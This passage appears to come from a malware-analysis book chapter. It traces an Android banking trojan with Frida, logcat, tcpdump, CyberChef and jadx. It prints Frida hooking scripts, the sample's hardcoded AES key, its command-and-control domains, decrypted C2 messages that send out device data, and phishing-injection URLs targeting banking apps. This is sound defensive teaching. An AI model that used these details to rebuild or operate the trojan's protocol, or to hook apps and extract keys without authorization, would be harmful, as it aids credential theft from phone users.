The string pioneer_bridge_over_white_rabbits is noteworthy. It’s a debug
string used by the app as a prefix for its logs. Why the app includes it is
unclear. Elsewhere in the log data (but omitted here), you can find infor
mation about the network payloads, a mapping of encrypted and decrypted
JSON objects, fairly detailed information about which classes are executed,
and more.

One advantage of logcat is that the operating system buffers and pre
serves its log for a while. This means that you don’t need to monitor logcat
while the app is running: it’s possible to grab information from the system
log long after the app under analysis has stopped executing. Because log
cat is sizelimited, the availability of an app’s data depends on how many log
entries are generated on an Android device before earlier log entries get
culled. In practice, usually they remain available for a few hours.

Analysis with Frida
So far, we’ve used the tools adb, logcat, tcpdump, and Wireshark to quickly
discover properties of the app under observation. However, these tools
don’t allow us to link the observed app properties back to concrete sections
of the app’s code. We now know that com.spike.old dumps files to disk, con
nects to a commandandcontrol server, and encrypts its communication,
but we don’t know any details about where, why, or how it does any of this.
We can use Frida to make these connections.

Frida is a powerful tool, and an explanation of all of its functions could
fill a whole other book. Here, we’ll only cover those that further our under
standing of the malicious sample. In particular, we’ll use frida-trace to
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quickly understand which interesting Java APIs the malware uses. We’ll also
use Frida scripting to find these interesting APIs in the malware’s code. Cu
rious readers are encouraged to read more about Frida’s many uses, as this
chapter covers only about 1 percent of the tool’s capabilities.

Running frida-server
You should have already installed frida-server on the device and made it
executable. Now you must run it so that it can communicate with the frida

client on the host system and interact with the malware. We’ll use adb shell

again to run frida-server:

$ adb root

$ adb shell /data/local/tmp/frida-server

One caveat is that frida-server must run with root privileges.

Using frida-trace to Find Interesting APIs
The frida-trace tool can dynamically trace method calls in the app under ob
servation and dump some basic properties about the APIs it uses. The tool
expects a list of methods to intercept, and it sends these methods’ inputs
and outputs to stdout. It supports regular expressions, making the moni
toring of all methods of a class, or even a package, a breeze. For example,
the following command dumps information about how the malware uses all
methods in the classes Cipher and SecretKeySpec from the default Java cryptog
raphy package:

$ frida-trace -U -j 'javax.crypto.Cipher!*' \

-j 'javax.crypto.spec.SecretKeySpec!*' \

-f com.spike.old

This command outputs hundreds of lines of information about the use
of this cryptography API. Listing 43 shows a tiny part. We can see how the
malware sets up an AES encryption key and an initialization vector (IV), and
then uses the cipher defined by these properties to decrypt a byte array.

1222 ms Cipher.getIV()

1222 ms | Cipher.updateProviderIfNeeded()

1223 ms <= [127,124,88,-42,38,53,-111,-46,-45,70,-89,-39,84,-32,-66,1]

/* TID 0x164e */

2150 ms SecretKeySpec.$init([49,26,-127,53,-80,-83,-121,-50,35,-72,-79,-93,

-45,-113,43,31], 0, 16, "AES")

2151 ms Cipher.getInstance("AES_128/CBC/PKCS5PADDING")

...

2158 ms Cipher.init(2, "<instance: java.security.Key,

$className: javax.crypto.spec.SecretKeySpec>",

"<instance: java.security.spec.AlgorithmParameterSpec,

$className: javax.crypto.spec.IvParameterSpec>")
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...

2163 ms Cipher.doFinal([-26,104,-111,-55,-17,70,-86,-87,124,-117,14,

59,-29,42,-28,-3,51,40,-32,-1

Listing 4-3: The output of frida-trace related to cryptography APIs

This output gives us more leads to pursue later. We’ve confirmed that
the app uses the default Java cryptography package, and we know some of
the configuration parameters it uses for encryption.

In Chapter 3, we recommended that reverse engineers build a list of
interesting API methods to search for when analyzing a program’s code.
You can use this same list with frida-trace to intercept and log how mal
ware uses the APIs. Besides cryptography APIs, you might try to intercept
those related to network communication, filesystem access, or access to sen
sitive data.

Finding Entry Points into the Malware with Frida Scripting
The downside of frida-trace is that it can’t link the observed APIs to the mal
ware’s code. We might know now that the malware uses encryption, and
even how it sets up its ciphers, but we don’t know where this happens. To
make this connection, we can use Frida scripting.

Scripting is likely Frida’s most useful capability. It allows Frida users to
write custom code in different programming languages to interact with the
program under observation. In this section, we’ll use this capability to con
nect API calls to the underlying malware’s code by observing the stack traces
of interesting functions.

Using frida-trace, we learned that the malware calls the default Java
cryptography API Cipher.doFinal to encrypt and decrypt data. We can now
specifically target this API with a custom Frida script that discovers the loca
tions in the malware that call the API. Written in JavaScript, Listing 44 is a
very simple Frida script that intercepts the Cipher.doFinal API. Save it to a file
called xenodofinal.js.

Java.perform(() => {

const Cipher = Java.use("javax.crypto.Cipher");

Cipher.doFinal.overload('[B').implementation = function() {

console.log("doFinal called from" );

Java.perform(() => {

console.log(Java.use("android.util.Log").getStackTraceString(

Java.use("java.lang.Exception").$new()))

});

return this.doFinal();

};

});

Listing 4-4: A Frida script that intercepts the doFinal API
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We use Java.perform, from Frida’s JavaScript API, to ensure that the cur
rent thread is attached to the virtual machine and then execute the function
given in its argument. In our example, the provided function contains the
code responsible for hooking Cipher.doFinal. Hooking a Java method first
requires acquiring a JavaScript wrapper for its class. To do this, we use the
Frida JavaScript API Java.use, which takes a fully qualified Java class name as
its argument.

Before hooking and overwriting a method, we need to determine whether
there are multiple methods with the same name in the hooked class. If so,
we need to disambiguate them using the overload function, explicitly pass
ing it the method parameters’ Java types. Here, we do this for the doFinal

method by passing the argument "[B", which indicates a byte array in Java
type syntax.

Once we’ve found the correct overloaded method, we overwrite the
object’s implementation property with the simple assignment of a custom
function. Now, every time the app calls the hooked API, our code executes
instead of the original API code. We also use an old Java trick to get our
current location by throwing a new exception and printing its stack trace.
Lastly, we return the expected value of doFinal by calling its original imple
mentation.

NO T E You can use jadx to help you intercept methods defined in the app under analysis. In
the jadx context menu for method definitions or calls, select Copy as Frida Snippet.
This creates Frida JavaScript that uses Java.use, as we did in our script.

Executing the Frida Script
Execute the Frida script from the host machine’s command line:

$ frida -U -f com.spike.old -l xeno-dofinal.js

The -U argument instructs Frida to look for a device connected over
USB, and the -f argument spawns the malware app. The -l argument speci
fies the script file to run. Once you run this command, the Frida shell should
open and spawn the malware in a suspended state. To continue its execu
tion, enter %resume in the shell:

[Android Emulator 5554::com.spike.old ]-> %resume

Listing 45 shows the script’s output. You should read this log from top
to bottom. Each printed stack trace begins with java.lang.Exception, followed
by the doFinal call under observation. After that, you’ll see the code snippet
that calls doFinal.

[Android Emulator 5554::com.spike.old ]-> doFinal called from

java.lang.Exception

at javax.crypto.Cipher.doFinal(Native Method)

at com.sniff.sibling.UtilEncryption.encryptMessage(UtilEncryption.java:46)

at com.sniff.sibling.Api.Bodies.ApiVerifyRequestBody$Builder.emplaceIdIv(
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ApiVerifyRequestBody.java:72)

at com.sniff.sibling.Api.Controllers.ApiVerifyController.sendRequest(

ApiVerifyController.java:42)

at com.sniff.sibling.Services.KingService.lambda$startService$1$

com-securitypolicies-setup-Services-KingService(KingService.java:161)

at com.sniff.sibling.Services.KingService$$

ExternalSyntheticLambda1.run(Unknown Source:4)

at java.util.concurrent.ThreadPoolExecutor.runWorker(

ThreadPoolExecutor.java:1167)

...

doFinal called from

java.lang.Exception

at javax.crypto.Cipher.doFinal(Native Method)

at com.sniff.sibling.UtilEncryption.decryptMessage(UtilEncryption.java:75)

at com.sniff.sibling.Activities.AccessibilityEnableHintActivity.onStart(

AccessibilityEnableHintActivity.java:68)

at android.app.Instrumentation.callActivityOnStart(

Instrumentation.java:1435)

Listing 4-5: The Frida script’s output shows places where doFinal is called.

The first stack trace shows the encryptMessage function, and the second
shows decryptMessage. For the first time, we’re able to develop an under
standing of the app’s control flow. The script’s output shows exactly how
the doFinal method is called from the nonstandard com.sniff package, which
must be the part of the malware that performs encryption.

To gain further insight into the malware, we could repeat this process
for other interesting functions. For example, we might want to find where
ring0.xml and hq.json are written to disk, and where the network connection
to the commandandcontrol server is set up. We leave these tasks as an exer
cise for the reader.

Decrypting the Command-and-Control Communications
As in the previous chapter, one of the most important properties of the mal
ware we’ll want to reverse engineer is its encrypted communication with the
commandandcontrol server. Breaking the encryption will allow us to better
understand the commands it supports. Rather than using static analysis and
code reading to find out how this communication works, we’ll use dynamic
analysis. Between tcpdump, logcat, and Frida, we have all the tools we need.

After our earlier analysis using tcpdump and Wireshark, we know that
the first connection the malware makes is an HTTP POST request to http://
simpleyo5.tk/ping. In this request, the malware sends a JSON object with four
entries, as shown in Listing 46.

{

"hash": "c9KjsZ9C7He6VRmwPMY9YpRrW8H9UFIITKB7umfOUyo=",

"id": "9hbTqZU/XYXD8Z1hftmY0N63NltNY2+ihQOnUHrg9T1B/C...",
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"iv": "M0KcSRwOMvKnbNd4TE719Q==",

"type": "request_verify"

}

Listing 4-6: The JSON payload posted to the /ping URL

It’s still unclear what these values are. The one plaintext entry, "type":
"request_verify", suggests that the purpose of this connection is to request
that the malware client be verified. We’ve shortened the value of id here;
originally, it had more than 7,000 bytes. Its length indicates that it might be
the message’s main payload. The value of hash is unknown at this point, as
is the value of iv, which has a noteworthy name. Could this be the initial
ization vector used to encrypt the payload? Later, we’ll confirm this to be
the case.

With CyberChef
CyberChef (https://gchq.github.io/CyberChef) is an open source web app
for encryption, encoding, compression, and data analysis. Developed by the
Government Communications Headquarters (GCHQ), the British equiva
lent of the NSA, it is likely the most userfriendly way to manipulate, trans
form, and decrypt data during malware analysis. In this section, we’ll use it
to play around with the malware’s encrypted communications protocol.

Figure 43 shows the CyberChef interface. In the upperright corner,
you can input plaintext data to transform. The bottomright corner is an
output field for the transformed data. On the left side, you can pick from
dozens of data transformations to drag and drop into the center.

Figure 4-3: Using CyberChef to get the hexadecimal byte values of a Base64-encoded string
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In the example shown here, we’ve input the iv value from the JSON
payload in the previous section. Then we chose two data transformations
to apply: Base64 decoding and converting the result into a hex string. This
outputs the string 33 42 9c 49 1c 0e 32 f2 a7 6c d7 78 4c 4e f5 f5, which cor
responds to the bytes of the iv value before it was Base64encoded.

NO T E CyberChef recipes can be much more complex than shown here, often using control
flow operations, code disassembly, or YARA rules.

The Frida output told us that the malware uses AES encryption in its so
called CBC mode to encrypt and decrypt payloads. We need to recover the
encryption keys and algorithm initialization vectors to successfully decrypt
the payload. In the logcat logs, the JSON payload itself, and Frida’s output,
we’ve encountered a couple of potential encryption keys and initialization
vectors. In the next section, we’ll present a more structured approach to dis
covering these values, but for now, let’s use the IV from the JSON payload
and the encryption key we found in the system log. We can use this informa
tion to complete the CyberChef recipe, making sure to pick the appropri
ate input formats for the payload, key, and IV (in our case, Raw, Hex, and
Base64). Figure 44 shows the result.

Figure 4-4: Decrypting command-and-control communication with CyberChef
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We’ve reproduced the decrypted JSON payload in its entirety in
Listing 47.

{

"api": 30,

"apps": [

"com.android.cts.priv.ctsshim",

"com.android.internal.display.cutout.emulation.corner",

"com.android.internal.display.cutout.emulation.double",

"com.android.providers.telephony",

"com.android.dynsystem",

"com.android.theme.icon.pebble",

"com.android.providers.calendar",

...

"com.android.theme.icon_pack.circular.android"

],

"imei": "f1b9bf329f36d7ee",

"model": "Unknown Android SDK built for x86",

"numbers": [

"No numbers"

],

"tag": "cleaner0902",

"uid": "f1b9bf329f36d7ee"

}

Listing 4-7: The decrypted JSON payload posted to the /ping URL

The api field is likely the device’s Android API version (remember that
we configured this to 30 at the beginning of this chapter). Next is a list of
apps, presumably those installed on the system. The imei and model fields
are probably the device’s IMEI number and device model. It’s unclear what
numbers is, but it could be the device’s phone number or the phone numbers
of contacts from the contact list. The tag field likely identifies the malware
app itself, while uid could be some sort of unique user ID.

Of course, we now need to consider the data that the server returns.
Listing 48 shows the response to the POST request.

{

"type": "reponse_verify",

"hash": "6Judi7AChueoT88kb5yqRyA+LVY+AaRqMXPNtYAwl94=",

"iv": "UyRedbVBUrUG+MEuIWSO8w==",

"id": "8n7raTheyi0wb56/KGEpT03yrXARP1klA5c7s/1EMq8="

}

Listing 4-8: The JSON response received from the /ping URL
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The type field’s value, response_verify, matches the POST payload’s
request_verify field. The other three fields, hash, id, and iv, also match fields
from the POST request. Their values are seemingly Base64encoded.

An attempt to decrypt the id field with the previously used encryption
key and IV value from the POST response doesn’t immediately produce a
readable result. The decrypted value is a 16byte array with seemingly ran
dom bytes. Their purpose and meaning are unclear for now. Likewise, we
can’t easily decrypt the POST payloads of subsequent connections to the
commandandcontrol server. We must strategically explore the malware in
more depth.

With Frida
To automate the interception and decryption of encrypted commandand
control communications, we can use Frida. In particular, we’ll develop a
script that intercepts important Java encryption API methods and writes
their inputs and outputs to files for later examination. To accomplish this,
we’ll use some advanced Frida features.

Notably, rather than using the Frida command line to spawn the mal
ware process, we’ll use a second script, the control script, to spawn the mal
ware process and control its execution. The control script will inject another
script, similar to the one we wrote earlier in this chapter, into that process.

The Control Script
Let’s begin by developing the control script, which spawns the malware app,
attaches to it, injects the Frida script, and logs intercepted API arguments
to disk. We’ve chosen to write it in Python to showcase Frida’s support for
different scripting languages. Save this code to a file named xeno.py.

Listing 49 is the control script’s main function. It uses Frida Python
bindings to interact with the Android emulator.

import sys

import frida

def main():

emulator = frida.get_usb_device()

pid = emulator.spawn('com.spike.old')

session = emulator.attach(pid)

inject_script(session)

emulator.resume(pid)

sys.stdin.read()

session.detach()

if __name__ == '__main__':

main()

Listing 4-9: The control script’s main function
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The main function connects to the Android emulator over USB, launches
and attaches to the malware process, and gets its process ID. It uses the
inject_script function to inject the Frida script into the malware process
and then continues its execution, keeping the script alive until the user hits
CTRLC. Listing 410 shows the definition of inject_script.

def inject_script(session):

def on_message(message, _):

if message['type'] == 'send':

if 'input' in message['payload']:

write_data('iv', message['payload']['iv'])

write_data('input', message['payload']['input'])

elif 'output' in message['payload']:

write_data('output', message['payload']['output'])

elif 'key' in message['payload']:

write_data('key', message['payload']['key'])

else:

print('Unknown message: ', message)

else:

print('Unknown message: ', message)

with open('xeno.js', 'r', encoding='utf8') as script_file:

code = script_file.read()

script = session.create_script(code)

script.on('message', on_message)

script.load()

Listing 4-10: The control script’s process injection function

This function loads the Frida script file xeno.js (which you will find later
in this chapter, in Listing 412) into the malware process. Most importantly,
it sets up the callback method on_message, which can receive messages from
the Frida script inside the malware process. The format of these messages
will become clearer once we discuss the injected script’s code. Generally,
Frida’s default message format defines key/value pairs, with two default
keys, type and payload. Our injected script overwrites the payload values with
new key/value pairs. For each message, the key can be iv, key, input, or output,
depending on the type of binary data in the value field.

Lastly, the control script defines the write_data function, which takes the
intercepted data and writes it to multiple files (Listing 411).

import time

def write_data(file_prefix, data):

current_time = round(time.time() * 1000)

filename = f'{current_time}_{file_prefix}.bin'
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print('Writing file:', filename)

with open(filename, 'wb') as output_file:

output_file.write(bytearray((d % 0xFF for d in data)))

Listing 4-11: The control script’s file writing function

To preserve the chronological order in which the data was collected, this
function writes each piece to a distinct file using a filename that contains the
current time in milliseconds (ms) and the data type.

The Injected Script
The script that we inject into the malware process is much smaller. Its only
job is to intercept Java cryptography APIs SecretKeySpec and Cipher.doFinal

and send the data passed to them to the control script. Listing 412 shows
this JavaScript script in its entirety.

console.log("Loading Javascript");

Java.perform(() => {

const Cipher = Java.use("javax.crypto.Cipher");

Cipher.doFinal.overload('[B').implementation = function(arr) {

send( {'input': arr, 'iv': this.getIV() });

const result = this.doFinal(arr);

send( {'output': result });

return result;

};

const SecretKeySpec = Java.use("javax.crypto.spec.SecretKeySpec");

SecretKeySpec.$init.overload(

"[B", "int", "int", "java.lang.String").implementation = function(

arr, off, len, alg) {

send( {'key': arr} );

return this.$init(arr, off, len, alg);

};

});

console.log("Javascript loaded");

Listing 4-12: The injected script (xeno.js)

This script reuses key Frida scripting concepts, such as Java.perform and
Java.use, discussed earlier in this chapter. It also sends messages to the con
trol script, using the default Frida send method, to transmit the encryption
keys, initialization vectors, and plaintext and ciphertext messages.
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Running the Python script should generate the following output:

$ python3 xeno.py

Loading Javascript

Javascript loaded

Writing file: 1651309456940_key.bin

Writing file: 1651309456997_iv.bin

Writing file: 1651309456997_input.bin

Writing file: 1651309457218_output.bin

Writing file: 1651309458430_key.bin

Writing file: 1651309458567_iv.bin

Writing file: 1651309458568_input.bin

Writing file: 1651309458682_output.bin

As you can see, the script creates files containing encryption keys, initial
ization vectors, input arrays to encryption methods, and output arrays from
encryption methods. Note that the code does not try to determine whether
data is encrypted or decrypted, so the filenames don’t tell us whether we can
find the unencrypted plaintext for cryptographic operations in the input or
output files.

We can use the Linux command line tool xxd to dump hex values and
ASCII representations of the content of the key and initialization vector
files. You’ll notice that the first key is the one we’ve encountered on multi
ple occasions:

$ xxd 1651309456940_key.bin

00000000: 5f9d 4a91 b0d7 c7b8 8cb8 b6f7 f77f 0d2e _.J.............

By examining these files, we can discover that for outgoing network
traffic the input file contains the unencrypted information that is then en
crypted and sent to the commandandcontrol server. Likewise, for inbound
traffic coming from the commandandcontrol server, the input file contains
the received encrypted messages, and the output files contain the decrypted
messages.

Command-and-Control Server Messages
While our Frida script provides information about the encrypted payloads,
it doesn’t link the payloads to URL connections. However, unless we want
to fully automate our analysis, it doesn’t have to. We’ve already logged the
HTTP connections and their payloads with tcpdump and can look at them
in Wireshark. Let’s compare the payloads from the files written to Frida
with those visible in Wireshark. Because the malware makes very few con
nections to its server, it’s completely feasible to continue without automating
this step.
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The /ping URL
When we dumped network traffic with tcpdump and Wireshark, we learned
that the malware’s first connection is to http://simpleyo5.tk/ping. We also suc
cessfully decrypted its payload with information from Frida and logcat. The
largest part of the payload was the list of installed apps. The server replied
with a JSON payload of a similar format but much smaller size. Running
tcpdump and Wireshark for longer does not seem to change this payload
and response. While the app makes subsequent connections to this URL,
it only seems to use this command to make the server aware of an available
client.

The /metrics URL
If you take another look at Wireshark, you’ll notice another URL to which
the malware connects, and this one is much more interesting. After the first
connection to /ping, the malware starts connecting to http://simpleyo5.tk/
metrics. These connections are more frequent and have more diverse pay
loads in both directions.

In the first connection to the /metrics endpoint, the malware transmits a
JSON file with plaintext keys and encrypted values that is similar to the one
it transmits to /ping. For example, it could look like the one in Listing 413.

{

"hash":"3E0+xCtHOl1sRkCb1GGS/VO3xFekCMw3aR8zrPLK44o=",

"id":"IpDySYsxdURFmYsjS6EGkxE/ei7PsZfjjlz7OmFm5fc=",

"iv":"mdPtTwJDHpVjIJPyhi7xxA==",

"metrics":"Hfu92QtpMSbnGeWIiWC57rzdOvq3/+tXiF7D1uLb/YU="

}

Listing 4-13: The JSON payload posted to the /metrics URL for a jni_update command

The values in the fields hash, id, and iv likely play a role similar to the
one they play in the payload to /ping. The metrics field is new and replaces
the plaintext value of the type field sent to /ping.

It turns out that metrics decrypts to {"type":"inj_update"}, which seems to
be a simple request from the app to the server to receive information about
“injections,” whatever that is. The server responds with a long message that
decrypts to the JSON payload shown in Listing 414.

{

'type': 'inj_update',

'injections': [

{

'app': 'ca.mobile.explorer',

'url': 'https://homeandofficedeal.com/local/pt/ca.mobile.explorer.html'

},

{

'app': 'cgd.pt.caixadirectaparticulares',

'url': 'https://homeandofficedeal.com/local/pt/
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cgd.pt.caixadirectaparticulares.html'

},

{

'app': 'com.abanca.bm.pt',

'url': 'https://homeandofficedeal.com/local/pt/com.abanca.bm.pt.html'

},

...

}

Listing 4-14: The decrypted JSON response from the /metrics URL

This long list of app package names and URLs is interesting. Today,
these URLs are long gone, but we explored them in a previous analysis and
can present them here. Each HTML file is a phishing page for a different
legitimate app. The screenshot in Figure 45 shows the phishing page associ
ated with com.android.vending, the package name of the Google Play app.

Figure 4-5: An input field to phish credit card information in Google Play

In addition to inj_update, the /metrics URL can also receive at least one
other command. On a subsequent connection, the malware sends it a com
mand called get_coms whose payload is shown in Listing 415.

{

"permissions": ["notification_manager","generic_permissions"],

"rm_triggered":false,

"user_present":true,

"type":"get_coms"

}

Listing 4-15: A decrypted JSON payload posted to the /metrics URL for a get_coms
command
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Besides the type field indicating the message type, only the user_present

field seems selfexplanatory. It’s not clear what rm_triggered refers to, and the
exact meaning of the permissions field also remains mysterious. We do get an
additional hint, though, that the app cares about app notifications.

In our tests, get_coms was by far the most common command sent to the
server. Unfortunately, the only response we observed was the empty payload
{'type': 'get_coms', 'coms': []}. By the time we attempted an indepth analy
sis, the commandandcontrol servers had been shut down, so we had to use
the payloads previously collected in our malware scanner archives to reason
about the malware behavior.

The Rotating Encryption Keys
Readers who have meticulously followed along with this app analysis on
their computers may have noticed that the malware changes encryption
keys. You can observe this when the Frida script logs different values into
the key files, but it becomes increasingly obvious when you try to manually
decrypt payloads with CyberChef.

The encryption key we discovered earlier, 5f 9e 4a 92 b1 d8 c8 b9 8d b9

b7 f8 f8 80 0d 2e, is used for only the initial commandandcontrol server
communications during the first connection to the /ping URL. Recall that
the /ping reply payload contains a JSON field called id. This field holds the
new encryption key. The field is itself encrypted, but we can decrypt it using
the original key and the initialization vector from the reply’s iv field.

It turns out that the app also logs this new key into the system log. We
can retrieve it using logcat:

$ adb logcat | grep "Client verified"

16:18:07.150 D/pioneer_bridge_over_white_rabbits

(setVerification)( 9686): Client verified: uV+VcJoWRYP79riYnZvmUw==

16:20:16.716 D/pioneer_bridge_over_white_rabbits

(setVerification)(11030): Client verified: pwp4tia4GyVyhuB7Z8HYsA==

The Base64encrypted value at the end of each log line is the new en
cryption key. The log also shows that the encryption key further rotates,
presumably with each call to /ping, as between any two calls to /ping the key
seems to remain stable.

Other Malware Functionality
Running the app and inspecting its commandandcontrol messages has
given us several leads to pursue. We know that the app wants to acquire
the permission to use the accessibility API, cares about installed apps, and
is interested in notification listener permissions. Let’s use this information
to dig deeper.
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com.sniff with frida-trace
On several occasions, our analysis has confirmed the presence of a Java
package named com.sniff. One of the next steps we could take is to explore
this package with Frida.

You might naively try to use frida-trace to intercept all methods in this
package and log their usage, arguments, and return values. However, if you
simply run a command similar to the one we used to intercept the cryptogra
phy APIs earlier in this chapter, this won’t work well, as you can see here:

$ frida-trace -U -j 'com.sniff*!*' -f com.spike.old

Instrumenting...

MainApplication.$init: Loaded handler at

"__handlers__/com.sniff.sibling.MainApplication/_init.js"

MainApplication.getContext: Loaded handler at

"__handlers__/com.sniff.sibling.MainApplication/getContext.js"

MainApplication.getInstance: Loaded handler at

"__handlers__/com.sniff.sibling.MainApplication/getInstance.js"

MainApplication.onCreate: Loaded handler at

"__handlers__/com.sniff.sibling.MainApplication/onCreate.js"

Started tracing 4 functions. Press Ctrl+C to stop.

As shown in the output, Frida can find only four methods in the
MainApplication class. This happens because the Java class loader hasn’t
finished loading all of the app’s classes by the time frida-trace enumerates
the loaded classes.

There are two ways to perform a more complete trace. First, it’s pos
sible to change the frida-trace command so it attaches to an existing pro
cess rather than spawning a new process. While easy to do, this would mean
missing out on all method calls between the start of the app and Frida at
taching to the process. The alternative option is to write a more complex
Frida script that waits for the class loader to complete, enumerates all meth
ods, and intercepts them. For our purpose, the scrappy option of attaching
to a running process should work fairly well, due to a quirk in the malware.
Because the malware blocks most of its functionality from executing until
the user grants it permission to use the accessibility API, we simply launch
the app, let it sit at the accessibility request window, and attach Frida to the
process.

To tell frida-server to attach to a process rather than spawn its own, we
can switch the -f argument to -p and pass it the process ID instead of the
package name. We could also attach to a process by name, but doing so is
awkward on Android because Frida expects the app name, not the package
name. Usually, during malware analysis, you’ll quickly learn an app’s pack
age name but not its textual name. Here, we attach to com.spike.old through
its process ID, 24606:

$ frida-trace -U -j 'com.sniff*!*' -p 24606

...

11851 ms MainActivity.$init()
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11897 ms MainActivity.onCreate(null)

11957 ms | UtilGlobal.isAccessibilityServiceEnabled(

"<instance: android.content.Context,

$className: com.sniff.sibling.MainActivity>",

"<instance: java.lang.Class>")

...

11994 ms | | UtilGlobal.startAccessibilityActivity(

"<instance: android.content.Context,

$className: com.sniff.sibling.MainActivity>")

12005 ms | MainActivity$1.$init(

"<instance: com.sniff.sibling.MainActivity>")

12006 ms | UtilGlobal.startKingService(

"<instance: android.content.Context,

$className: com.sniff.sibling.MainActivity>")

...

12122 ms KingService.onStartCommand(

"<instance: android.content.Intent>", 0, 1)

12123 ms | UtilGlobal.Log("KingService", "onStartCommand")

12123 ms | KingService.startService()

12123 ms | | UtilGlobal.Log("KingService", "startService")

12125 ms | | UtilGlobal.setActualNetworkConnection(

"<instance: android.content.Context,

$className: com.sniff.sibling.Services.KingService>", 0)

12126 ms | | | UtilGlobal.SettingsWrite(

"<instance: android.content.Context,

$className: com.sniff.sibling.Services.KingService>",

"ANCT", "simpleyo5.tk")

12126 ms | | ApiClient.create(

"<instance: android.content.Context,

$className: com.sniff.sibling.Services.KingService>")

12346 ms | | | UtilGlobal.getActualNetworkConnection(

"<instance: android.content.Context,

$className: com.sniff.sibling.Services.KingService>")

12347 ms | | | | UtilGlobal.SettingsRead(

"<instance: android.content.Context,

$className: com.sniff.sibling.Services.KingService>", "ANCT")

12348 ms | | | | <= "simpleyo5.tk"

...

12530 ms | | ApiVerifyController.sendRequest(

"<instance: android.content.Context,

$className: com.sniff.sibling.Services.KingService>")

12530 ms | | | UtilGlobal.getAndroidIDBytes(

"<instance: android.content.Context,

$className: com.sniff.sibling.Services.KingService>")

12531 ms | | | | UtilGlobal.getAndroidID(

"<instance: android.content.Context,

$className: com.sniff.sibling.Services.KingService>")
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12534 ms | | | | <= "f67fecc6233d8ae9"

12535 ms | | | | UtilEncryption.hexStringToBytes(

"f67fecc6233d8ae9")

We’ve shortened the output significantly for this book. In practice,
this script generates hundreds of lines per second. Even this partial log, of
700 ms of activity, shows a wealth of information. We see more class and
package names in com.sniff, as well as how the malware reads the command
andcontrol URL from the ring0.xml configuration file and uses encryption.
All of this is tied together by the mysterious KingService class.

In most cases, malware doesn’t come with an execution block mecha
nism like this sample’s accessibility request window. In these cases, you really
may miss out on important method calls that happen before frida-trace

attaches to the target process. You can find examples of custom scripts on
the internet, including some library code to make the whole process very
simple.

Accessibility Abuse
We mentioned that the very first thing the app asks users to do is to grant
it permission to use the accessibility API. Why it desires this permission is
still unclear, so let’s dig deeper to find out. For this task, we can once again
use frida-trace to cast a wide net, logging all uses of the accessibility API by
the app:

$ frida-trace -U -j 'android.view.accessibility.*!*' -f com.spike.old > accessibility_log.txt

After manually granting the app access to the accessibility API in the
emulator, the frida-trace command creates several megabytes of output. In
the emulator, however, you won’t see much apart from the home screen and
two permission dialogs, for reading SMS messages and making phone calls,
which pop up and then disappear. Presumably, the app grants itself these
permissions by simulating a user clicking the dialogs’ buttons.

Slogging through megabytes of accessibility API usage logs is a chore.
We can start by looking for certain patterns, though. When inspecting call
traces in Frida earlier in this chapter, we identified com.sniff.sibling as a po
tentially interesting Java package in the malware. Grepping through the log
file reveals two interesting Java classes:

$ grep -oe "com.sniff.sibling.[a-zA-Z0-9_.]*" accessibility_log.txt | sort | uniq

com.sniff.sibling.Activities.AccessibilityEnableHintActivity

com.sniff.sibling.Activities.PermissionActivity

The PermissionActivity class could be the activity responsible for click
ing the buttons in the SMS and call permission dialogs, while Accessibility

EnableHintActivity could be the permission showing the window that asks the
user to grant accessibility permission.

Another way to look at the logfile is to try to understand which classes
in the accessibility API the app uses. The answer, it turns out, is a lot. The
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following Linux shell command returns about 50 different classes, creating
a much more complicated situation than our earlier experiment with inter
cepting cryptography APIs:

$ grep -oe "android.view.accessibility.[a-zA-Z0-9_.]*" accessibility_log.txt | sort | uniq

Without an idea of what to look for next, this method of exploration
may lead to a dead end. We’ve reached a point at which pure dynamic analy
sis becomes too cumbersome, and a mixedmode exploration of the pro
gram, with the help of static analysis, may be in order.

Adding Static Analysis
Now that we’ve instrumented, observed, and manipulated the sample in so
many different ways, we have dozens of leads we could pursue to dive deeper
into the app. Unfortunately, our leads don’t suggest any easy ways to trigger
specific code and behavior. Instead, we must look at the source code, bol
stering our dynamic analysis with static techniques.

Other Command-and-Control Servers
The first piece of analysis we can complete involves the commandandcontrol
server. With dynamic analysis, we found a domain, simpleyo5.tk, with two
endpoints, /ping and /metrics. A search for this domain in jadx reveals a sin
gle line. The code and its surrounding lines, from com.sniff.sibling.Constants,
is shown in Listing 416.

testKey = UtilEncryption.hexStringToBytes("5f9e4a92b1d8c8b98db9b7f8f8800d2e");

apis = Arrays.asList("simpleyo5.tk", "simpleyo5.cf", "kart12sec.ga", "kart12sec.gq");

Listing 4-16: Domain names and encryption key inside com.spike.old

Apparently, the malware can switch between up to four commandand
control domains for its commands. The communications encryption key
we previously discovered is defined in the line right above the server array
initialization.

Very often in malware analysis, you’ll find interesting pieces of func
tionality located close together in the code. For example, take a look at the
strings from the com.sniff.sibling.Constants file shown in Listing 417.

public static final String actualNetworkConnectionTag = "ANCT";

public static final String apiLocationOperation = "metrics";

public static final String apiLocationVerify = "ping";

...

public static final String appCodename = "pioneer_bridge_over_white_rabbits";

public static final String appInjectTableTag = "AITT";

...

public static final String appInjectsEnabledTag = "AIEN";

...

public static final String appTag = "cleaner0902";
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...

public static final String networkStateTag = "NSTG";

Listing 4-17: Other interesting strings found in com.sniff.sibling.Constants

You should recognize these strings from our earlier analysis stages. In
particular, the strings with the four capital letters were the XML tag names
from the mysterious ring0.xml configuration file. We can see that these tag
names aren’t just random characters but abbreviations that indicate their
function. Dynamic analysis alone couldn’t have uncovered that. Likewise,
the presence of only two strings starting with api* provides some evidence
that /ping and /metrics are the only endpoints supported by the malware’s
commandandcontrol servers.

One other piece of code in com.sniff.sibling.Constants is particularly in
teresting. In the static initializer, close to the initialization of the command
andcontrol server array, are statements that hint at which permissions the
malware uses. Listing 418 shows this.

String[] strArr = new String[10];

strArr[0] = "android.permission.READ_SMS";

strArr[1] = "android.permission.RECEIVE_SMS";

strArr[2] = "android.permission.WAKE_LOCK";

strArr[3] = "android.permission.RECEIVE_BOOT_COMPLETED";

strArr[4] = "android.permission.ACCESS_NETWORK_STATE";

strArr[5] = "android.permission.INTERNET";

strArr[6] = "android.permission.READ_PHONE_STATE";

String str = null;

strArr[7] = Build.VERSION.SDK_INT > 28 ?

"android.permission.USE_FULL_SCREEN_INTENT" : null;

strArr[8] = Build.VERSION.SDK_INT > 28 ?

"android.permission.FOREGROUND_SERVICE" : null;

if (Build.VERSION.SDK_INT > 28) {

str = "android.permission.READ_PHONE_NUMBERS";

}

strArr[9] = str;

permissions = strArr;

Listing 4-18: Permission strings in com.sniff.sibling.Constants

Even with the caveats about permissions described in Chapter 3, this list
gives us more information about the malware’s capabilities.

Other Server Commands
